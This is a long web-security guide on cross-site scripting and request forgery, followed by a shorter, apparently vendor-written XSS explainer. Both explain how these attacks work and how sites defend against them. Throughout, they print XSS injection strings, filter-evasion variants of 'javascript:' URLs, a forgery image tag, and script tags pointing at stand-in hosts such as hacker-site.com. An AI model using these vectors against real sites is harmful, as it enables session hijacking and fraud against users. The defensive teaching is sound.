In many pages, this would be completely harmless. But now imagine that you have logged into site A, and that site has used a session cookie to store your identity. If site B manages to make you load a page on site A containing a script they have injected into it, that script could take the cookie for site A, and send it to site B. The person running site B can now use your cookie in their own browser, and can now use site A, making it think they are you.

In the case of site A being a blog or forum, they could erase or alter your posts, add new abusive posts, or erase your account. In the case of Web mail systems, they could send abusive email to your colleagues, delete any emails, or read all the passwords you have been sent in your email, which may give them access to even more systems. In the case of it being a banking site, they could make large cash transactions using your bank account. In the case of banking or shopping sites, they could obtain your banking details, and use them to make their own purchases.

XSS can also be a problem from users on shared sites, such as forums or blog comments, where users may find a way to inject scripts into page content, where the exploit can survive much longer than just a single page load.

Cookies are not the only target of cross site scripting, but they are a very easy way to exploit a simple mistake made by the site author. In some cases, it may be possible to inject a script onto the login form of the site, and convince you to fill it in, and then they can make it send them your password. Or they could simply make it load another page on the site, submitting form data to it, or using other means to perform actions on your behalf.

Unlike phishing scams where a site tries to trick users into thinking it is another site, XSS is the real site, not a fake. It has just allowed another site to run a script on it, in the context of one of its users.

What is cross site request forgery

Cross Site Request Forgery (XSRF or CSRF), also known as Cross Site Reference Forgery, is similar in some respects to XSS, but very different in one important respect. It does not rely at all on being able to inject a script. It is more unreliable, but its effects can be just as damaging.

The general idea of XSRF is that while you are logged into site A, you also look at a page on site B. Site B is evil, and submits form data to site A, or requests Web pages from site A using some other means. Since you are logged into site A, it uses the form data as if you yourself sent it. That may then do all of the same things as XSS attacks, such as creating forum posts, or making bank transactions.

Having strong passwords that cannot be guessed or calculated is always a good idea, but XSRF (and XSS) bypasses that part of the protection, as it works once the user has logged themself into the site using their strong password.

Who is to blame

Blame is a fairly harsh word, since it is the attacking site B that is really to blame, but evil sites are a fact of life, and site A should protect its users. XSS in particular is always the result of a mistake on the part of the site with the vulnerability. XSS is also worryingly common, many sites make the basic mistakes that allow XSS attacks.

How can users protect themselves

Most users are not even aware that XSS and XSRF are possible. And they should not need to be. Users should not be expected to be security experts - if they were, you as a Web developer would be out of a job. However, users who wish to protect themselves can take a few steps to do so.

The basic step is to never open other sites while you are logged into a site. This means that while you are logged into your bank, shopping site, blog, forum, web mail, side admin section, etc., never open another site in any window. Do not click links in emails, or other applications. If you use Internet Explorer (I recommend against this if you value your security), do not run programs like Word (that includes opening attachments in email), or generally any other programs that view Web pages, as many Windows programs use the Internet Explorer engine either directly or via macros, and may be used as a vector for these attacks.

If the site uses cookies to log you in, make sure you log out when you are finished using it. If the site does not allow you to log out, or if it uses HTTP authentication, then restart your browser. If the site uses a cookie based login but not session cookies, and does not allow you to log out, then you may find that your browser allows you to delete those cookies manually.

The next step is to disable JavaScript while logged into a site. This may seem like a drastic measure, but it will protect against virtually all XSS (but not XSRF) attacks. Unfortunately, many sites will not allow you to use them without JavaScript, so this step may not be possible. If the site is important enough, such as a bank, but still does not allow you to disable JavaScript, then I suggest you use a different bank.

You may also want to disable iframes if your browser (such as Opera) allows that. This step should not be necessary as long as you do not browse other sites at the same time, but if you do, it makes it a little harder for XSRF attacks to be carried out, as most (but by no means all) of them use iframes.

All of these measures are extremely limiting, and certainly not something most users would want to do. So the final step will always be the one that is preferred: Make sure the sites you log into have actually checked their sites for XSS and XSRF attacks. Not just that they are aware that they exist, or believe they are safe, but that they have actually run checks to make sure they are protected against those attacks.

How do you know what type of login a site is using

Cookie logins are fairly easy to identify. They are almost always what can be seen as a form on a Web page, asking you for a username or email address and password. HTTP authentication (or similar types of authentication) are shown as a dialog that appears in its own little dialog window in front of the Web page, asking you for a username and password.

Shopping sites almost always use either a cookie or a URL encoded session ID, and virtually never use HTTP authentication. In general, you can tell which they are using by looking at the page address. If it contains a large amount of seemingly random characters (usually near the end of the address), then it is probably using a URL encoded session ID. Otherwise it will be using a cookie.

Working out if a cookie is a session cookie or not is a little harder. Some browsers may allow you to see the properties of stored cookies, or to prompt for them with their details when the server tries to set them. However, a simple test is to log into the site, then without logging out, close all browser windows, then restart the browser, and try reloading pages on the site. If you are still logged in, then it is not a session cookie.

There are some alternative types of login, such as using a client certificate (which you will normally have been asked to install at some point), or IP based authentications (typically used on local intranets). It is not normally possible to log out from either of these, even by restarting your browser. In general, you can identify these either because you had been asked to install a client certificate (not a normal root certificate), or because you never had to log in in the first place.

How can Web sites protect themselves

These are very complex issues, and there are no simple solutions, but there are certain things that the site should always do. In almost all cases, it is server side scripting that needs to be changed or fixed.

Cross site scripting

This is by far one of the most common mistakes made by Web authors, and turns up on a substantially high number of sites - even those you would expect to be written by knowledgeable authors. Some even dismiss these mistakes as harmless, or trivial, ignoring the dangers of what those mistakes can present.

The vulnerabilities themselves are not almost never created by sites having poorly written JavaScripts. XSS vulnerabilities are usually caused by a server side script that allows another site to put a new and dangerous JavaScript on the page. A site does not need to have any JavaScripts of its own for it to be vulnerable to XSS attacks.

Let us take this simple example; somewhere on a site, there is a form that a user can fill in. If they fill it in with invalid details, the form is displayed again, with what they typed last time shown in the the form inputs, allowing them to change whatever was wrong. This is often done with login forms, although it could in fact be any form on the site while they are logged in. On its own, this is not dangerous at all, and is in fact a very good thing.

The problem is that some sites forget to escape the data before putting it back into the form. Assume that the form had this:

<input name="foo" value="">

Now assume that the site displays it to the user like this (I will use PHP here, but it could in fact be any server side language):

<input name="foo" value="<?php
print $foo;
?>">

With that single, simple print command, the site has opened itself up to XSS attacks. Imagine now that the evil site uses an iframe, link, image URL or form submission to the url:

http://goodsite.com/sillypage.php?foo=%22%3E%3Cscript%3Einsert-evil-script-here%3C/script%3E%3C%22

The server side script would then create this in the page source code:

<input name="foo" value=""><script>insert-evil-script-here</script><"">

The implications of this are immediately obvious. The evil script could then load other pages on the site using XMLHttpRequest, even taking any URL encoded session ID into account, and in doing so it could add or change data, or make form submissions, etc. It could also read any session cookies, and send them back to the evil site as part of a URL using an iframe, image, script, stylesheet, or just about any type of external content. The possibilities are fairly limitless. This simple change would have protected the site:

<input name="foo" value="<?php
print htmlspecialchars($foo);
?>">

Although forms are the most common place where this happens, it is not the only time this can be a problem. The same situation occurs if a site writes unescaped content as part of any page content - for example, many pages use a single page that writes whatever information it was passed as a page heading.

sillypage.php?content=%3Ch1%3EPage%203%3C/h1%3E

Note that even if scripting is prevented by other means, an attack could, for example, display a false login form to the user, that sends the details to another site. They could also display misleading information. Though not as harmful as a XSS vulnerability, as it needs the user to be tricked into following those instructions, this is still a problem that needs to be prevented.

Escaping data

So the solution is to ensure that if contents like this are entered into the form, that the server side script escapes them before adding them to the page content. HTML offers a simple way to escape these; use HTML entities for < >& and " characters. Yes, for virtually all situations, this really is all it takes. PHP offers a simple function to do this; htmlspecialchars. Other languages sometimes offer ways to do this, but some do not. One of the big offenders is JSP which, to my knowledge, has no equivalent method. Authors simply do not realise they should create one for themselves. Many JSP pages are left open to XSS attacks as a result.

It is not enough to escape just < and > characters, since quotes can be just as damaging inside an attribute. If quotes are not escaped, the attribute can be ended, and a new event handler attribute started, that triggers when the user clicks it, or focuses it, or moves their mouse over it. If you are putting the content inside an attribute, make sure the attribute uses " (double) quotes, or the attribute could also be ended simply by including a space (if using ' [single] quotes around the attribute value, make sure you tell PHP's htmlspecialchars function to convert those as well inside the attribute value).

Form data must also be escaped before using it as part of a database query, typically by putting backslashes before quotes (again, PHP has inbuilt methods for doing this). Failure to escape it could allow people to end the query, and start a second one, deleting random data, corrupting databases, or at worst, being able to run shell commands, and take over the server. A similar situation could occur if your script uses that data to construct a shell command.

Never trust URLs you are given

Some pages allow a form to submit a "next URL" value, that the user will be redirected to after the data has been processed. Sometimes this is done with a Location header, but sometimes it is done with a meta refresh or JavaScript. With meta refreshes and JavaScript, if the URL that is given is a 'javascript:' URL, then the script will run. A malicious site could easily use this as a way to post scripts onto a page. Always check that URLs provided as form data start with a trusted protocol, such as 'http:' or 'https:'.

Being careful with scripts

In very rare cases, cross site scripting vulnerabilities are created within JavaScripts. Although far less common than server-side script mistakes, it is still possible to make equivalent mistakes in JavaScript. JavaScripts can read data passed in the URL, and must be careful how they process that data. If they assign that data to any object that accepts url values, such as the src of an image or the location object, any scripts can be injected into it.

An example of where this usually occurs is an image gallery script, where the image to display is passed as a parameter to the page address, and a script then extracts it to display the image. If a script accepts URLs as a parameter, it must always check that the URL starts with a trusted protocol, such as 'http:' or 'https:', or it will leave itself open to this sort of attack:

http://goodsite.com/gallery.html?showimage=javascript:evil-script-here

Similarly, if the data is evaluated by the page using the eval or an equivalent method, attackers can simply feed their script directly into that parameter. A script must never evaluate something passed as a parameter to the page.

Using HTTP-only cookies

Cookies that are set via HTTP (such as authentication cookies) are also available to scripts. One of the most common demonstrations used for cross site scripting, is taking another user's login cookie, and then performing some action as them. If the cookie was not available to scripts, they could not take them. Internet Explorer and recent versions of some other browsers allow an optional 'httponly' parameter when setting HTTP cookies, which prevents them from being accessible to scripts.

This is not a solution, as it has only limited scope. For a start, this is only useful if all browsers support it - as I have already said, the exploit only needs to work once in one browser for it to be successful. More importantly, however, cookies are rarely used in real exploits. Someone who manages to inject a script into someone else's page is not very likely to use their cookie themselves, as that would immediately give away their IP address, making it easier to locate and prosecute them. They are far more likely to run a script there and then, to do the damage through the user themself. HTTP-only cookies give a false sense of security; they may protect some people from demonstrations, but they will not protect from real attacks.

Of course, the main point is that it should never be allowed to get to this stage. XSS should be prevented at all costs. If you have a XSS vulnerability in your site, then cookie stealing is the least of your problems. Fix the real problem, not the symptom.

Using HTTP authentication

HTTP authentication is like the HTTP-only cookie, except that it works in all browsers. It still suffers from the same false sense of security, however, and in addition, no browser currently allows you to log out of it, meaning it is more susceptible to delayed XSRF attacks.

Storing safer cookies

Some sites take the simple approach of saving the user's username and password in the cookie. This is an instant giveaway if a XSS attack manages to get the cookie, as they have the username and password. Even if the user logs out, the attacker can log in again. It is better to store a unique session ID. That way, if they log out and the server invalidates the session, the attacker can no longer do anything with the cookie. To make it even harder for an attacker, the server can tie the session ID to the user's IP address. Attackers would have to be able to use the same IP address for them to exploit it - this is possible (for example, they may be behind the same NAT), but it makes it much harder.

However, again, cookies are only a minor concern considering that the XSS vulnerability can be exploited in a number of ways, that do not need any cookie at all.

Allowing only certain HTML input

Some people want to allow certain HTML to be used, but not others. Typically, this is for forums, where users should only be allowed to enter basic HTML that does not affect other users, or blogs, where comments should only use basic HTML. This is certainly not trivial, and unless you are very experienced in avoiding XSS attacks, I suggest you leave well alone, and escape everything.

However, if you feel that you know enough to do this, then prepare to step into a minefield.

The basic idea is not to remove anything you think is dangerous, but to remove everything unless you know it is safe. The number of ways that scripts can be added to a document is quite staggering - some of these only work in certain browsers, but it only takes one of these to work in one browser for the exploit to be a success:

• A script tag.
• A script tag that has a namespace prefix in its tag name;

  <div xmlns:foo="http://www.w3.org/1999/xhtml">
    <foo:script>...script here...</foo:script>
  </div>

• Event handler attributes - these typically begin with 'on', and may have spaces before and after the '=' sign (and can also have a namespace prefix).
• Link href (A, AREA or LINK elements, or XML processing instructions), base href, image src, input src, image usemap, form actions, input actions, xform submission actions, object data (or equivalent PARAMs such as url), object codebase, embed src, applet code, applet archive, applet codebase, iframe src, frame src, img longdesc, iframe longdesc, frame longdesc, blockquote cite, q cite, ins cite, del cite, meta refresh, meta link, body/table/th/td background, XLink URLs, DOCTYPE SYSTEM identifiers, ENTITY SYSTEM identifiers, and generally any attribute that acceps a URI value - all of which can have a 'javascript:' URL (or a 'vbscript:' URL in IE).
• Any of those within a custom namespace.
• Any attribute in Netscape 4 that uses JavaScript entities (or script macros) such as align="&{...script...};".
• Any of those elements (or a parent element) using xml:base with a 'javascript:' URL as its value.
• CSS url(javascript:...) values (these can also be in imported or linked stylesheets).
• CSS @import "javascript:..." (these can also be in imported or linked stylesheets).
• CSS -moz-binding or behavior (these can also be in imported or linked stylesheets).
• CSS expression (these can also be in imported or linked stylesheets).
• HTML style attributes that use any of those CSS methods.
• Iframes, frames, links, etc. with 'data:' URLs of pages containing scripts (currently these are treated by some browsers - but not all - as a script from another domain, but that is not a requirement, and browsers may change in future, since a same-domain response is expected and more useful).
• Objects, embeds or applets that then run a script on the parent page (in most browsers this is allowed without any of the usual cross domain restrictions).
• XML entities, which can contain any other scriptable content, and hide it behind a harmless-looking entity reference:

  <!DOCTYPE foo [
    <!ENTITY bar '<script xmlns="http://www.w3.org/1999/xhtml">...script here...</script>'>
  ]>
  <foo>&bar;</foo>

  These can also be defined in a remote file, which is loaded through a harmless-looking URL:

  <!ENTITY bar SYSTEM "http://example.com/extra.xml">

  Or even indirectly via a custom DOCTYPE, which then contains the entity references:

  <!DOCTYPE foo SYSTEM "http://example.com/untrusted.dtd">

• XSLT which creates scripts using any of the other points (XSLT itself can also be very damaging).
• XBL which makes additional elements or attributes become scriptable.
• XUL which contains script elements or scriptable attributes.
• Conditional comments, which can then contain any other HTML, but appear to be only a comment.
• Script within SVG images (or equivalent namespaced script elements).
• XML events 'listener' elements or namespaced attributes.
• VoiceXML and VoiceXML events.
• XML processing instructions (like <xml-stylesheet href="javascript:...">).

There are certainly many other ways to put a script into a page, and that is why I call this a minefield. You absolutely must not blacklist elements or attributes you know are dangerous. You must whitelist those that you know are safe. Even seemingly safe elements such as LINK (or the related CSS @import rules) can end up importing a stylesheet from an untrusted source that contains the harmful content described above.

As well as whitelisting elements, you must also whitelist the attributes that each of them may have. Anything that is not on your whitelist must be removed, or deliberately altered so that it no longer functions as the element or attribute it is intended to be. PHP has a function that is supposed to help do this, called strip_tags. However, this copes very badly with invalid HTML, and it is possible to bypass it by feeding it specially broken HTML.

Stripping tags is a fine art, and can be exceptionally difficult, as you must be able to cope with intentionally broken HTML, designed so that after the tags have been stripped, what remains is another tag that was created by the removal of another one. An example would be this:

<<script>script>...evil script...<</script>/script>

Stripping them multiple times would be equally uneffective (unless a matching 'while' loop was used until the tags had been removed), as they could be nested to indefinite levels, but could end up with something that browsers understand.

Remember that "LiNk", "LINK" and "link" are all considered to be the same tag in HTML. In XHTML, namespaced elements can also be the same as non-namespaced ones. For the sake of simplicity, it is easiest to remove anything that is namespaced; if someone is trying to use a namespace in a forum post or blog comment, then they are probably trying to exploit something anyway.

Once tags have been stripped, attributes must also be stripped, to remove any attributes that are not considered safe, or required (the HREF attribute of a link and the SRC attribute of an image are not safe, but are usually needed anyway). If there is any chance that any of your users may still be using Netscape 4, then every attribute, even if normally safe, needs to be sanitised to remove JavaScript entities.

For removing tags and attributes, you may find it more effective to use a simple XML parser that only allows the non-namespaced tags and attributes you have decided to allow. Anything else can throw an error (make sure it does not attempt to display the rendered output in the error message, or you will be back where you started).

Finally, now that you have only the markup you want to allow, you must now ensure that unsafe attributes have their contents sanitized so that JavaScript URLs and data URIs are removed. This can be more difficult than it sounds.

Removing all instances of 'javascript:' will simply not be good enough. For a start, if the content initially contained something like this, removing instances of 'javascript:' will leave it with 'javascript:':

jajavascript:vascjavascript:ript:

A while loop would be able to take care of that, but there are several cases where browsers can be tricked into treating something as a 'javascript:' URL, even though it does not look like one. Some may work in only a few browsers, some will work in all of them. Examples would be these:

ja<![CDATA[vasc]]>ript:
jav&#x09;ascript:
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;
url("java\scr\ipt:...")
u\r\00006C\000028"\00006A\00061\0076\061\73\63\72\69\70\74\3A...")

The list of these is very extensive - some work in only selected browsers, but quite simply, if you intend to allow HTML, you must be able to recognise and disable all of them. See the XSS cheat sheet for a fairly complete list. Note that some browsers also support other potentially dangerous protocols. IE also supports 'vbscript:', BrowseX also supports 'tcl:', Netscape 4 also supports 'mocha:' and 'livescript:' which are synonymous to 'javascript:', several Mac browsers support 'applescript:' (although supposedly that is safe), and no doubt there are other obscure browsers that support scripting in other languages with their own protocols, such as 'cpp:'. Many browsers support the 'data:' protocol, which in some of them will be treated as a file from the current domain, and can contain scripts. Mozilla browsers support the 'jar:' protocol, which can be used to unpack individual files from zip archives, jar archives, doc files, odt files, etc., and run them in the context of the site they are stored on (due to a bug, it also does not update the context if the URL triggers a redirect), which can be a major problem if you allow arbitrary files to be uploaded or otherwise attached to the Web site, such as with Web mail. It can even refer to a zip file contained in a 'data:' URL, meaning that it does not need to be uploaded, and can all be contained within the URL.

Future versions of major browsers may also support other potentially dangerous protocols. Remember that more ways to trick browsers into running scripts are discovered all the time, and you will need to keep your pages protected against them. An easy way to do this is to always insist that every URL a user provides must start with 'http:' or 'https:' (or 'ftp:', if you want to allow that). This is by far the best protection, as it ensures that only those safe protocols can be linked to, even if it may be slightly more inconvenient for the user to type. Other protocols you might want to consider safe are: 'mailto:', 'irc:', 'ircs:', 'gopher:', 'news:', 'nntp:', 'feed:', 'wap:', 'wtai:', 'about:', 'opera:', 'smsto:', 'mmsto:', 'tel:', 'fax:', 'ed2k:', 'dchub:', 'magnet:'. I do not recommend whitelisting streaming media protocols, for reasons given above and below. Be warned that with META refresh tags, some browsers allow multiple instances of the target URL, and any one could contain the scripted protocol.

Failing to cope with all of these possibilities could lead to a fully fledged attack being launched against your site. The MySpace worm is a good example of the lengths that you will need to go to, to protect yourself against these attacks.

Using BB code

BB code is like a simplistic version of HTML. There are several variations - wikis generally have their own syntax that serves a similar purpose. The general idea is that instead of using normal HTML, the user is allowed to enter only a small selection of HTML equivalents, that are then converted into the HTML they represent, with all other content escaped.

This makes it easier to work out what is or is not allowed - if it does not match the exact patterns, it is not converted. This can be less difficult than having to detect which parts to remove, as the parts of HTML that end up being used are generated by the server, and will not include anything that is considered dangerous.

However, this approach still does not cover 'javascript:' URLs (or other dangerous protocols) in permitted attributes, such as link href, and image src. These will still need to be taken care of, including all the possible variations, as described above.

Embedding content from other sites

It is possible to use content from other sites, such as images or scripts, from other sites (a practice sometimes known as "hotlinking"), using an absolute URL:

<img src="http://othersite.com/someimage.jpg" alt="">
<script src="http://othersite.com/somescript.js" type="text/javascript"></script>
<iframe src="http://othersite.com/somepage.html"></iframe>

In some cases, such as images and iframes, scripting is not a problem, since the JavaScript security model will not allow scripts on pages from one domain to interact with pages on another. However, it is not always safe. If the other site decided to abuse this situation (perhaps in order to get back at your site for wasting their bandwidth by hotlinking), they could rewrite the script hotlinked by your site, to make it do something unexpected, with as much abusive power as cross site scripting. Even with pages in frames or iframes, they could display fake login forms, or inappropriate information convincing the user to give them sensitive information. Since the content appears to the user to be part of your site, they might trust it. It is important that you do not embed content from other sites unless you really trust them.

Plugins are also an extremely effective example. The plugin API allows plugin content to interact with scripts on the page (or create their own), without restriction. The plugin can be hosted on any domain, but if it is embedded on your page (using the OBJECT or EMBED elements, but not frames), it can run scripts as part of your page without being stopped by the JavaScript security model. This is different to other types of page content.

In the case of Flash, there is an optional ALLOWSCRIPTING parameter that can be set to "never" which will prevent the flash movie from communicating with JavaScript, but Flash is just one of many possible plugins, and others do not have an equivalent. Embedding plugin content from other sites, or allowing users to do so, basically opens your site up to cross site scripting attacks.

The same problem is true in reverse. If you produce plugin content, and that content has access to sensitive information, some other site may embed your content in their own page, and start interacting with it using scripts. If the information can be accessed through scripts, then it can be accessed by any page that embeds your plugin content. This is of particular importance to Flash-based shopping sites, or plugin-based security systems. The plugin itself may offer some form of protection (such as checking the hosting domain), but this is up to the individual plugin, and you should refer to that plugin's documentation for more information about protecting your content from remote scripting.

Cross site request forgery

XSRF attacks are based on knowing what the URL will look like, and knowing exactly what data the server expects to be passed, in order to perform an action, such as changing database data, or purchasing items.

http://goodsite.com/delete.php?delete=all

They also rely on the target site thinking that the user themself submitted the form, or requested the action from the site itself, and not another site.

Any solution must make it impossible for another site to do either of these.

XSRF attacks also rely on the user being logged in, and to visit the exploiting page, while the attack is carried out. These conditions require a certain amount of social engineering, and the success rate will also depend on timing. However, it only needs to be successful once for the effects to be extremely damaging. The solutions I will present are not exhaustive, you may also find others, but I recommend you use a combination of these approaches.

Some proposed solutions attempt to use multi-page forms to ensure the correct submission path is followed, and use POST instead of GET as the form method. Neither of these offers effective protection. Both make things a little harder for the attacker, but can fairly easily be circumvented. They can use a real form to get POST to work, and use timed submission in frames, iframes, or popups to simulate multi-page submission.

Although XSRF attacks are usually referred to with two separate sites being involved, this is not a requirement. Blogs and forums are very easy targets. For example, if you post an entry on your blog, and somebody comments, they can put HTML code in the comment that causes the blog post to be deleted as soon as you look through your comments.

<img src="http://blogsite.com/deletepost.php?id=23456">

These attacks can also be carried out through BB code or wiki syntax, as long as an element is allowed that has a URL value. Considering how many elements have URI values, this is a fairly reliable attack. It also has the added benefit that users will usually be logged in while viewing comments on their own blog or forum. This particular type of attack can be partially protected against by insisting that forms that request actions use POST instead of GET, but as I have already said, POST is definitely not a complete solution to the XSRF problem.

Encode a session ID in the URL

This is a fairly simple way to make it virtually impossible for a malicious site to predict what the URL of the target page will be. Make sure that the session ID is sufficiently long and unpredictable, so that the site cannot simply try multiple combinations until one works. 20 random characters should usually be sufficient, but you may want to use more.

Unfortunately, this means that the site will need to generate every page to make sure that the session ID is used by every page, every link, every form (as a hidden input). It is not convenient, but it is very effective protection.

Check referrers

If a page containing a form or link is supposed to be the only page that can send data to a server-side processing script to request an action, then that processing page should check the referrer header to make sure that the page that requested the action was the correct page. Any requests from other pages (including if no referrer is sent, or if it is blank), should not cause any processing, and instead, should display a warning saying that the referrer header was not correct.

Note that some browsers can disable the referrer header if the user requests it - they should be asked to enable it again. Some browsers never send a referrer header. If you intend to use the referrer header as a security precaution, then these browsers will simply not be able to use the site. It is important not to allow requests that do not have a referrer, as an exploiting site could use a trick to prevent a browser sending the header, and this must not be mistaken for a browser that never sends one.

This on its own is not a complete solution for multi-user sites such as blogs, blog comments, or forums, as the attacker may be able to create forms or equivalent links on the page itself and convince you to click a button to initiate the action.

Prompting for passwords

This is a very unpopular idea, but it is a very effective way of ensuring that the user is themself, and not a page that has posted form data as that user. The form that submits data to the processing page should also have a field where the user must enter their password (yes, even though they are already logged in). If the password is not correct, then the processing page must not process the data. Attacking pages will not know the user's password, so they will not be able to fake the form submission.

Pass unique IDs in form submission

Instead of having to encode a unique session ID in every page, include it in a hidden input in the form that submits to the processing page. This can be the same as the user's session ID that is held in a cookie. With XSRF attacks, the attacker does not know what the user's session ID is, so they will not be able to send that part of the form data. The processing page should then check for that session ID, and if it does not find it, it should reject the submission.

Secure sites

Many sites, such as shopping and banking, use encrypted connections to allow users to ensure that they are talking to the correct site, and to prevent attackers from sniffing network data packets. These require a whole new level of attack (as well as the XSS and XSRF attacks), but considering the amounts of money involved, these attacks are profitable enough to be done.

Encrypted connections do a lot more than just encrypting data sent by the user. They also encrypt pages sent tothe user, and offer a certificate path that allows the user to ensure they are talking to the real site before they give it any sensitive information.

Typical attacks would involve intercepting and rewriting a page before the user receives it. This could be done through a compromised router, for example. Another would be to use a compromised DNS server to point the user to the wrong server that pretends to be the real site - the user's address bar will of course show the correct site, and it could even be encrypted. Strictly speaking, these are not cross site scripting attacks, but the effects are the same; some content of the page is changed by a third party, so that sensitive information can be sent to them instead.

Secure connections can deal with both of these situations. Firstly, an encrypted connection can be intercepted, but the attacker cannot read or rewrite the page content, unless they can break the encryption fast enough. This is why it is important to use high level (typically 128 bit) encryption, as it is not currently possible to break within the lifespan of the attacker. Some of the lower level older encryptions (56 bit) can be broken within just a few seconds.

Encrypted connections also offer the ability to check the certification path. This is also virtually impossible to fake, so a user can check the certificate to make sure it is the right company. The browser can check the certification path to ensure the certificates are valid, and that the certification path is correct. Any failures will cause a browser to display warnings to the user so they are aware that the site may not be who it claims to be.

The first and one of the biggest mistakes a site can make is to use both secure and insecure content on the same page. An attacker only needs to compromise one file in order to carry out a successful attack. If they compromise the insecure content (such as replacing a safe script file with an unsafe one), the secure content is compromised as well. This mix of content security happens on quite a few sites, and browsers usually display warnings, but are moving towards denying it altogether.

The next most stupid mistake is to have the login form on an insecure page, that posts the login information to the secure page. It assumes that since the data is encrypted when it is sent, that everything is OK. This happens on a disturbingly high number of bank sites, especially those in the USA.

The problem with this approach is that the user should be able to check the site is real before they give it their information. If the DNS has been compromised, they would only find that out after they have sent their login details to the wrong site. If the page has been altered by a compromised router, for example, to change the action of the form, the user would not know about it until after they sent their data to the wrong site (or if it then sent them to the real site, they would never know).

Very occasionally, there is the problem that an encrypted site sends data - via forms, XMLHttpRequest, or any other means - to an insecure page, either directly or via a redirect. Packet sniffing and rewriting means that an attacker has immediate access to that information.

Secure sites need to ensure that they do not make any of these mistakes, as well as not allowing XSS and XSRF attacks.

Cross Site Scripting 해킹 관련 자료 입니다. 무료 테스트 버전도 있네요.

Cross Site Scripting Attack

What is Cross Site Scripting?

Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records.

Cross Site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques.

In the pie-chart below, created by the Web Hacking Incident Database for 2011 (WHID) clearly shows that whilst many different attack methods exist, SQL injection and XSS are the most popular. To add to this, many other attack methods, such as Information Disclosures, Content Spoofing and Stolen Credentials could all be side-effects of an XSS attack.

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.

Today, websites rely heavily on complex web applications to deliver different output or content to a wide variety of users according to set preferences and specific needs. This arms organizations with the ability to provide better value to their customers and prospects. However, dynamic websites suffer from serious vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data.

"A web page contains both text and HTML markup that is generated by the server and interpreted by the client browser. Web sites that generate only static pages are able to have full control over how the browser interprets these pages. Web sites that generate dynamic pages do not have complete control over how their outputs are interpreted by the client. The heart of the issue is that if mistrusted content can be introduced into a dynamic page, neither the web site nor the client has enough information to recognize that this has happened and take protective actions." (CERT Coordination Center).

Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.

As a hacking tool, the attacker can formulate and distribute a custom-crafted CSS URL just by using a browser to test the dynamic website response. The attacker also needs to know some HTML, JavaScript and a dynamic language, to produce a URL which is not too suspicious-looking, in order to attack a XSS vulnerable website.

Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually these are present in Login forms, Forgot Password forms, etc…

N.B. Often people refer to Cross Site Scripting as CSS or XSS, which is can be confused with Cascading Style Sheets (CSS).

The Theory of XSS

In a typical XSS attack the hacker infects a legitimate web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

As a web developer you are putting measures in place to secure the first step of the attack. You want to prevent the hacker from infecting your innocent web page with his malicious script. There are various ways to do that, and this article goes into some technical detail on the most important techniques that you must use to disable this sort of attack against your users.

XSS Attack Vectors

So how does a hacker infect your web page in the first place? You might think, that for an attacker to make changes to your web page he must first break the security of the web server and be able to upload and modify files on that server. Unfortunately for you an XSS attack is much easier than that.

Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.

By now you should be aware that any sort of data that can land on your web page from an external source has the potential of being infected with a malicious script, but in what form does the data come?

<SCRIPT>

The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:

External script:

<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>

Embedded script:

<SCRIPT> alert(“XSS”); </SCRIPT>

<BODY>

The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:

<BODY ONLOAD=alert("XSS")>

The BACKGROUND attribute can be similarly exploited:

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG>

Some browsers will execute a script when found in the <IMG> tag as shown here:

<IMG SRC="javascript:alert('XSS');">

There are some variations of this that work in some browsers:

<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

<IFRAME>

The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.

<IFRAME SRC=”http://hacker-site.com/xss.html”>

<INPUT>

If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<LINK>

The <LINK> tag, which is often used to link to external style sheets could contain a script:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<TABLE>

The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript:alert('XSS')">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>

The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert('XSS'));">

<OBJECT>

The <OBJECT> tag can be used to pull in a script from an external site in the following way:

<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">

<EMBED>

If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">

Is your site vulnerable to Cross Site Scripting?

Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross Site Scripting. And the trend is upward.

